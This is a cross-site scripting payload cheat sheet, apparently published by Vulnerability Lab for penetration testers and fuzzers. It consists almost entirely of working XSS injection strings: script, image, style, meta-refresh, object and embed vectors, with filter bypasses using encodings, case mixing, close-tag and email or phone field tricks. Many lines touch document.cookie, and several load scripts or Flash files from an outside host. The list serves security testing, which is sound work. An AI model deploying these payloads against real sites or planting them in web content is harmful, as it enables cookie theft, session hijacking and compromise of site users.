| <?import namespace="t" implementation="#default#time2"> | |
| <t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>alert("CrossSiteScripting")</SCRIPT>"> | |
| </BODY></HTML> | |
| <SCRIPT SRC="http://vulnerability-lab.com/CrossSiteScripting.jpg"></SCRIPT> | |
| <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT>'"--> | |
| <? echo('<SCR)'; | |
| echo('IPT>alert("CrossSiteScripting")</SCRIPT>'); ?> | |
| <IMG SRC="http://www.vulnerability-lab.com/file.php?variables=malicious"> | |
| Redirect 302 /vlab.jpg http://vulnerability-lab.com/admin.asp&deleteuser | |
| %3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%64%65%3E | |
| <iframe src=http://test.de> | |
| <iframe src=http://test.de> | |
| PGlmcmFtZSBzcmM9aHR0cDovL3Rlc3QuZGU+ | |
| ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| ________ _________.__ __ _________ .__ __ .__ | |
| \_ ___ \_______ ____ ______ ______ / _____/|__|/ |_ ____ / _____/ ___________|__|______/ |_|__| ____ ____ | |
| / \ \/\_ __ \/ _ \/ ___// ___/ \_____ \ | \ __\/ __ \ \_____ \_/ ___\_ __ \ \____ \ __\ |/ \ / ___\ | |
| \ \____| | \( <_> )___ \ \___ \ / \| || | \ ___/ / \ \___| | \/ | |_> > | | | | \/ /_/ > | |
| \______ /|__| \____/____ >____ > /_______ /|__||__| \___ > /_______ /\___ >__| |__| __/|__| |__|___| /\___ / | |
| \/ \/ \/ \/ \/ \/ \/ |__| \//_____/ | |
| Information: | |
| A lot of people asked us regarding our cross site scripting pentest sheet for a fuzzer or own scripts. To have | |
| some good results you can use the following list with automatic scripts, software or for manually pentesting. This | |
| list goes out to all friends, nerds, pentester & exploiters. Please continue the List and we will update it soon. | |
| Note: This is a technical attack sheet for cross site penetrationtests. | |
| Cross Site Scripting Strings with TAG: | |
| <meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;"> | |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>"> | |
| <SCRIPT>document.cookie=true;</SCRIPT> | |
| <IMG SRC="jav ascript:document.cookie=true;"> | |
| <IMG SRC="javascript:document.cookie=true;"> | |
| <IMG SRC=" javascript:document.cookie=true;"> | |
| <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;> | |
| <SCRIPT>document.cookie=true;//<</SCRIPT> | |
| <SCRIPT <B>document.cookie=true;</SCRIPT> | |
| <IMG SRC="javascript:document.cookie=true;"> | |
| <iframe src="javascript:document.cookie=true;> | |
| <SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT> | |
| </TITLE><SCRIPT>document.cookie=true;</SCRIPT> | |
| <INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;"> | |
| <BODY BACKGROUND="javascript:document.cookie=true;"> | |
| <BODY ONLOAD=document.cookie=true;> | |
| <IMG DYNSRC="javascript:document.cookie=true;"> | |
| <IMG LOWSRC="javascript:document.cookie=true;"> | |
| <BGSOUND SRC="javascript:document.cookie=true;"> | |
| <BR SIZE="&{document.cookie=true}"> | |
| <LAYER SRC="javascript:document.cookie=true;"></LAYER> | |
| <LINK REL="stylesheet" HREF="javascript:document.cookie=true;"> | |
| <STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting | |
| ¼script¾document.cookie=true;¼/script¾ | |
| <IFRAME SRC="javascript:document.cookie=true;"></IFRAME> | |
| <FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET> | |
| <TABLE BACKGROUND="javascript:document.cookie=true;"> | |
| <TABLE><TD BACKGROUND="javascript:document.cookie=true;"> | |
| <DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| <DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| <DIV STYLE="width: expression(document.cookie=true);"> | |
| <STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE> | |
| <IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)"> | |
| <CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)"> | |
| exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'> | |
| <STYLE TYPE="text/javascript">document.cookie=true;</STYLE> | |
| <STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A> | |
| <STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE> | |
| <SCRIPT>document.cookie=true;</SCRIPT> | |
| <BASE HREF="javascript:document.cookie=true;//"> | |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT> | |
| <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
| <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML> | |
| <? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?> | |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4- | |
| <a href="javascript#document.cookie=true;"> | |
| <div onmouseover="document.cookie=true;"> | |
| <img src="javascript:document.cookie=true;"> | |
| <img dynsrc="javascript:document.cookie=true;"> | |
| <input type="image" dynsrc="javascript:document.cookie=true;"> | |
| <bgsound src="javascript:document.cookie=true;"> | |
| &<script>document.cookie=true;</script> | |
| &{document.cookie=true;}; | |
| <img src=&{document.cookie=true;};> | |
| <link rel="stylesheet" href="javascript:document.cookie=true;"> | |
| <img src="mocha:document.cookie=true;"> | |
| <img src="livescript:document.cookie=true;"> | |
| <a href="about:<script>document.cookie=true;</script>"> | |
| <body onload="document.cookie=true;"> | |
| <div style="background-image: url(javascript:document.cookie=true;);"> | |
| <div style="behaviour: url([link to code]);"> | |
| <div style="binding: url([link to code]);"> | |
| <div style="width: expression(document.cookie=true;);"> | |
| <style type="text/javascript">document.cookie=true;</style> | |
| <object classid="clsid:..." codebase="javascript:document.cookie=true;"> | |
| <style><!--</style><script>document.cookie=true;//--></script> | |
| <<script>document.cookie=true;</script> | |
| <script>document.cookie=true;//--></script> | |
| <!-- -- --><script>document.cookie=true;</script><!-- -- --> | |
| <img src="blah"onmouseover="document.cookie=true;"> | |
| <img src="blah>" onmouseover="document.cookie=true;"> | |
| <xml src="javascript:document.cookie=true;"> | |
| <xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml> | |
| <div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script> | |
| Cross Site Scripting Strings with close TAG: | |
| >"<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;"> | |
| >"<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>"> | |
| >"<SCRIPT>document.cookie=true;</SCRIPT> | |
| >"<IMG SRC="jav ascript:document.cookie=true;"> | |
| >"<IMG SRC="javascript:document.cookie=true;"> | |
| >"<IMG SRC=" javascript:document.cookie=true;"> | |
| >"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;> | |
| >"<SCRIPT>document.cookie=true;//<</SCRIPT> | |
| >"<SCRIPT <B>document.cookie=true;</SCRIPT> | |
| >"<IMG SRC="javascript:document.cookie=true;"> | |
| >"<iframe src="javascript:document.cookie=true;> | |
| >"<SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT> | |
| >"</TITLE><SCRIPT>document.cookie=true;</SCRIPT> | |
| >"<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;"> | |
| >"<BODY BACKGROUND="javascript:document.cookie=true;"> | |
| >"<BODY ONLOAD=document.cookie=true;> | |
| >"<IMG DYNSRC="javascript:document.cookie=true;"> | |
| >"<IMG LOWSRC="javascript:document.cookie=true;"> | |
| >"<BGSOUND SRC="javascript:document.cookie=true;"> | |
| >"<BR SIZE="&{document.cookie=true}"> | |
| >"<LAYER SRC="javascript:document.cookie=true;"></LAYER> | |
| >"<LINK REL="stylesheet" HREF="javascript:document.cookie=true;"> | |
| >"<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting | |
| >"¼script¾document.cookie=true;¼/script¾ | |
| >"<IFRAME SRC="javascript:document.cookie=true;"></IFRAME> | |
| >"<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET> | |
| >"<TABLE BACKGROUND="javascript:document.cookie=true;"> | |
| >"<TABLE><TD BACKGROUND="javascript:document.cookie=true;"> | |
| >"<DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| >"<DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| >"<DIV STYLE="width: expression(document.cookie=true);"> | |
| >"<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE> | |
| >"<IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)"> | |
| >"<CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)"> | |
| >"exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'> | |
| >"<STYLE TYPE="text/javascript">document.cookie=true;</STYLE> | |
| >"<STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A> | |
| >"<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE> | |
| >"<SCRIPT>document.cookie=true;</SCRIPT> | |
| >"<BASE HREF="javascript:document.cookie=true;//"> | |
| >"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT> | |
| >"<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| >"<XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
| >"<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML> | |
| >"<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?> | |
| >"<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4- | |
| >"<a href="javascript#document.cookie=true;"> | |
| >"<div onmouseover="document.cookie=true;"> | |
| >"<img src="javascript:document.cookie=true;"> | |
| >"<img dynsrc="javascript:document.cookie=true;"> | |
| >"<input type="image" dynsrc="javascript:document.cookie=true;"> | |
| >"<bgsound src="javascript:document.cookie=true;"> | |
| >"&<script>document.cookie=true;</script> | |
| >"&{document.cookie=true;}; | |
| >"<img src=&{document.cookie=true;};> | |
| >"<link rel="stylesheet" href="javascript:document.cookie=true;"> | |
| >"<img src="mocha:document.cookie=true;"> | |
| >"<img src="livescript:document.cookie=true;"> | |
| >"<a href="about:<script>document.cookie=true;</script>"> | |
| >"<body onload="document.cookie=true;"> | |
| >"<div style="background-image: url(javascript:document.cookie=true;);"> | |
| >"<div style="behaviour: url([link to code]);"> | |
| >"<div style="binding: url([link to code]);"> | |
| >"<div style="width: expression(document.cookie=true;);"> | |
| >"<style type="text/javascript">document.cookie=true;</style> | |
| >"<object classid="clsid:..." codebase="javascript:document.cookie=true;"> | |
| >"<style><!--</style><script>document.cookie=true;//--></script> | |
| >"<<script>document.cookie=true;</script> | |
| >"<script>document.cookie=true;//--></script> | |
| >"<!-- -- --><script>document.cookie=true;</script><!-- -- --> | |
| >"<img src="blah"onmouseover="document.cookie=true;"> | |
| >"<img src="blah>" onmouseover="document.cookie=true;"> | |
| >"<xml src="javascript:document.cookie=true;"> | |
| >"<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml> | |
| >"<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script> | |
| Cross Site Scripting Strings with negative value & TAG: | |
| -1<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;"> | |
| -1<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>"> | |
| -1<SCRIPT>document.cookie=true;</SCRIPT> | |
| -1<IMG SRC="jav ascript:document.cookie=true;"> | |
| -1<IMG SRC="javascript:document.cookie=true;"> | |
| -1<IMG SRC=" javascript:document.cookie=true;"> | |
| -1<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;> | |
| -1<SCRIPT>document.cookie=true;//<</SCRIPT> | |
| -1<SCRIPT <B>document.cookie=true;</SCRIPT> | |
| -1<IMG SRC="javascript:document.cookie=true;"> | |
| -1<iframe src="javascript:document.cookie=true;> | |
| -1<SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT> | |
| -1</TITLE><SCRIPT>document.cookie=true;</SCRIPT> | |
| -1<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;"> | |
| -1<BODY BACKGROUND="javascript:document.cookie=true;"> | |
| -1<BODY ONLOAD=document.cookie=true;> | |
| -1<IMG DYNSRC="javascript:document.cookie=true;"> | |
| -1<IMG LOWSRC="javascript:document.cookie=true;"> | |
| -1<BGSOUND SRC="javascript:document.cookie=true;"> | |
| -1<BR SIZE="&{document.cookie=true}"> | |
| -1<LAYER SRC="javascript:document.cookie=true;"></LAYER> | |
| -1<LINK REL="stylesheet" HREF="javascript:document.cookie=true;"> | |
| -1<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting | |
| -1¼script¾document.cookie=true;¼/script¾ | |
| -1<IFRAME SRC="javascript:document.cookie=true;"></IFRAME> | |
| -1<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET> | |
| -1<TABLE BACKGROUND="javascript:document.cookie=true;"> | |
| -1<TABLE><TD BACKGROUND="javascript:document.cookie=true;"> | |
| -1<DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| -1<DIV STYLE="background-image: url(javascript:document.cookie=true;)"> | |
| -1<DIV STYLE="width: expression(document.cookie=true);"> | |
| -1<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE> | |
| -1<IMG STYLE="CrossSiteScripting:expr/*CrossSiteScripting*/ession(document.cookie=true)"> | |
| -1<CrossSiteScripting STYLE="CrossSiteScripting:expression(document.cookie=true)"> | |
| -1exp/*<A STYLE='no\CrossSiteScripting:noCrossSiteScripting("*//*");CrossSiteScripting:ex/*CrossSiteScripting*//*/*/pression(document.cookie=true)'> | |
| -1<STYLE TYPE="text/javascript">document.cookie=true;</STYLE> | |
| -1<STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A> | |
| -1<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE> | |
| -1<SCRIPT>document.cookie=true;</SCRIPT> | |
| -1<BASE HREF="javascript:document.cookie=true;//"> | |
| -1<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT> | |
| -1<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| -1<XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> | |
| -1<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="CrossSiteScripting<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML> | |
| -1<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?> | |
| -1<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4- | |
| -1<a href="javascript#document.cookie=true;"> | |
| -1<div onmouseover="document.cookie=true;"> | |
| -1<img src="javascript:document.cookie=true;"> | |
| -1<img dynsrc="javascript:document.cookie=true;"> | |
| -1<input type="image" dynsrc="javascript:document.cookie=true;"> | |
| -1<bgsound src="javascript:document.cookie=true;"> | |
| -1&<script>document.cookie=true;</script> | |
| -1&{document.cookie=true;}; | |
| -1<img src=&{document.cookie=true;};> | |
| -1<link rel="stylesheet" href="javascript:document.cookie=true;"> | |
| -1<img src="mocha:document.cookie=true;"> | |
| -1<img src="livescript:document.cookie=true;"> | |
| -1<a href="about:<script>document.cookie=true;</script>"> | |
| -1<body onload="document.cookie=true;"> | |
| -1<div style="background-image: url(javascript:document.cookie=true;);"> | |
| -1<div style="behaviour: url([link to code]);"> | |
| -1<div style="binding: url([link to code]);"> | |
| -1<div style="width: expression(document.cookie=true;);"> | |
| -1<style type="text/javascript">document.cookie=true;</style> | |
| -1<object classid="clsid:..." codebase="javascript:document.cookie=true;"> | |
| -1<style><!--</style><script>document.cookie=true;//--></script> | |
| -1<<script>document.cookie=true;</script> | |
| -1<script>document.cookie=true;//--></script> | |
| -1<!-- -- --><script>document.cookie=true;</script><!-- -- --> | |
| -1<img src="blah"onmouseover="document.cookie=true;"> | |
| -1<img src="blah>" onmouseover="document.cookie=true;"> | |
| -1<xml src="javascript:document.cookie=true;"> | |
| -1<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml> | |
| -1<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script> | |
| Cross Site Scripting Strings Restriction Bypass Mail: | |
| >"<iframe src=http://vulnerability-lab.com/>@gmail.com | |
| >"<script>alert(document.cookie)</script><div style="[email protected] | |
| >"<script>alert(document.cookie)</script>@gmail.com | |
| <iframe src=http://vulnerability-lab.com/>@gmail.com | |
| <script>alert(document.cookie)</script><div style="[email protected] | |
| <script>alert(document.cookie)</script>@gmail.com | |
| Cross Site Scripting Strings Restriction Bypass Phone: | |
| +49/>"<iframe src=http://vulnerability-lab.com>1337 | |
| "><iframe src='' onload=alert('mphone')> | |
| <iframe src=http://vulnerability-lab.com>1337+1 | |
| Cross Site Scripting Strings Restriction Bypass Obfuscation | |
| >“<ScriPt>ALeRt("VlAb")</scriPt> | |
| >"<IfRaMe sRc=hTtp://vulnerability-lab.com></IfRaMe> | |
| Cross Site Scripting Strings Restriction Bypass String to Charcode | |
| <html><body> | |
| <button.onclick="alert(String.fromCharCode(60,115,99,114,105,112,116,62,97,108, | |
| 101,114,116,40,34,67,114,111,115,115,83,105,116,101,83,99,114,105,112,116,105,1 | |
| 10,103,64,82,69,77,79,86,69,34,41,60,47,115,99,114,105,112,116,62));">String:fr | |
| om.Char.Code</button></body></html> | |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))//\";alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))</SCRIPT> | |
| '';!--"<CrossSiteScripting>=&{()} | |
| Cross Site Scripting Strings Restriction Bypass encoded frame url | |
| %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%43%72%6F | |
| %73%73%53%69%74%65%53%63%72%69%70%74%69%6E%67%32%22%29%3C%2F | |
| %73%63%72%69%70%74%3E | |
| Cross Site Scripting Strings via Console: | |
| set vlan name 1337 <script>alert(document.cookie)</script> | |
| set system name <iframe src=http://www.vulnerability-lab.com> | |
| set system location "><iframe src=a onload=alert("VL") < | |
| set system contact <script>alert('VL')</script> | |
| insert <script>alert(document.cookie)</script> | |
| add <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT>'"--> | |
| add user <script>alert(document.cookie)</script> <script>alert(document.cookie)</script>@gmail.com | |
| add topic <iframe src=http://www.vulnerability-lab.com> | |
| add name <script>alert('VL')</script> | |
| perl -e 'print "<IMG SRC=java\0script:alert(\"CrossSiteScripting\")>";' > out | |
| perl -e 'print "<SCR\0IPT>alert(\"CrossSiteScripting\")</SCR\0IPT>";' > out | |
| <!--[if gte IE 4]> <SCRIPT>alert('CrossSiteScripting');</SCRIPT> <![endif]--> | |
| Cross Site Scripting Strings on per line validation applications: | |
| <IMG | |
| SRC | |
| = | |
| " | |
| j | |
| a | |
| v | |
| a | |
| s | |
| c | |
| r | |
| i | |
| p | |
| t | |
| : | |
| a | |
| l | |
| e | |
| r | |
| t | |
| ( | |
| ' | |
| V | |
| L | |
| A | |
| B | |
| ' | |
| ) | |
| " | |
| > | |
| Cross Site Scripting Strings Embed: | |
| <EMBED SRC="http://vulnerability-lab.com/CrossSiteScripting.swf" AllowScriptAccess="always"></EMBED> | |
| <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> | |
| <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> | |
| Cross Site Scripting Strings Action Script: | |
| <object type="application/x-shockwave-flash" data="http://www.vulnerability-lab.com/hack.swf" width="300" height="300"> | |
| <param name="movie" value="http://www.subhohalder.com/xysecteam.swf" /> | |
| <param name="quality" value="high" /> | |
| <param name="scale" value="noscale" /> | |
| <param name="salign" value="LT" /> | |
| <param name="allowScriptAccess" value="always" /> | |
| <param name="menu" value="false" /> | |
| </object> | |
| <SCRIPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT> | |
| <<SCRIPT>alert("CrossSiteScripting");//<</SCRIPT> | |
| <SCRIPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js?<B> | |
| <SCRIPT SRC=//vulnerability-lab.com/.js> | |
| <SCRIPT>a=/CrossSiteScripting/ alert(a.source)</SCRIPT> | |
| <SCRIPT a=">" SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT> | |
| <SCRIPT a=`>` SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT> | |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT> | |
| </TITLE><SCRIPT>alert("CrossSiteScripting");</SCRIPT> | |
| <IMG SRC="javascript:alert('CrossSiteScripting');"> | |
| <IMG SRC=javascript:alert('CrossSiteScripting')> | |
| <IMG SRC=JaVaScRiPt:alert('CrossSiteScripting')> | |
| <IMG SRC=javascript:alert("CrossSiteScripting")> | |
| <IMG SRC=`javascript:alert("RM'CrossSiteScripting'")`> | |
| <IMG """><SCRIPT>alert("CrossSiteScripting")</SCRIPT>"> | |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| <IMG SRC="jav ascript:alert('CrossSiteScripting');"> | |
| <IMG SRC="jav	ascript:alert('CrossSiteScripting');"> | |
| <IMG SRC="jav
ascript:alert('CrossSiteScripting');"> | |
| <IMG SRC="jav
ascript:alert('CrossSiteScripting');"> | |
| <IMG SRC=" javascript:alert('CrossSiteScripting');"> | |
| <IMG SRC="javascript:alert('CrossSiteScripting')" | |
| <IMG DYNSRC="javascript:alert('CrossSiteScripting')"> | |
| <IMG LOWSRC="javascript:alert('CrossSiteScripting')"> | |
| <IMG SRC='vbscript:msgbox("CrossSiteScripting")'> | |
| <IMG SRC="mocha:[code]"> | |
| <IMG SRC="livescript:[code]"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('CrossSiteScripting');"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('CrossSiteScripting');"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('CrossSiteScripting');"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=jAvAsCriPt:aLeRt('CroSsSiteScrIpting');"> | |
| <META HTTP-EQUIV="Link" Content="<http://vulnerability-lab.com/CrossSiteScripting.css>; REL=stylesheet"> | |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('CrossSiteScripting')</SCRIPT>"> | |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('CrossSiteScripting');+ADw-/SCRIPT+AD4- | |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://vulnerability-lab.com/scriptlet.html"></OBJECT> | |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('CrossSiteScripting')></OBJECT> | |
| <STYLE>@im\port'\ja\vasc\ript:alert("CrossSiteScripting")';</STYLE> | |
| <STYLE>@import'http://vulnerability-lab.com/CrossSiteScripting.css';</STYLE> | |
| <STYLE TYPE="text/javascript">alert('CrossSiteScripting');</STYLE> | |
| <STYLE>.CrossSiteScripting{background-image:url("javascript:alert('CrossSiteScripting')");}</STYLE><A CLASS=CrossSiteScripting></A> | |
| <STYLE type="text/css">BODY{background:url("javascript:alert('CrossSiteScripting')")}</STYLE> | |
| <STYLE>li {list-style-image: url("javascript:alert('CrossSiteScripting')");}</STYLE><UL><LI>CrossSiteScripting | |
| <STYLE>BODY{-moz-binding:url("http://vulnerability-lab.com/CrossSiteScriptingmoz.xml#CrossSiteScripting")}</STYLE> | |
| <DIV STYLE="background-image: url(javascript:alert('CrossSiteScripting'))"> | |
| <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> | |
| <DIV STYLE="background-image: url(javascript:alert('CrossSiteScripting'))"> | |
| <DIV STYLE="width: expression(alert('CrossSiteScripting'));"> | |
| <LAYER SRC="http://vulnerability-lab.com/script.html"></LAYER> | |
| <LINK REL="stylesheet" HREF="javascript:alert('CrossSiteScripting');"> | |
| <LINK REL="stylesheet" HREF="http://vulnerability-lab.com/CrossSiteScripting.css"> | |
| <BODY BACKGROUND="javascript:alert('CrossSiteScripting')"> | |
| <BODY ONLOAD=alert('CrossSiteScripting')> | |
| <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("CrossSiteScripting")> | |
| <iframe src=http://vulnerability-lab.com/index.html < | |
| <TABLE BACKGROUND="javascript:alert('CrossSiteScripting')"> | |
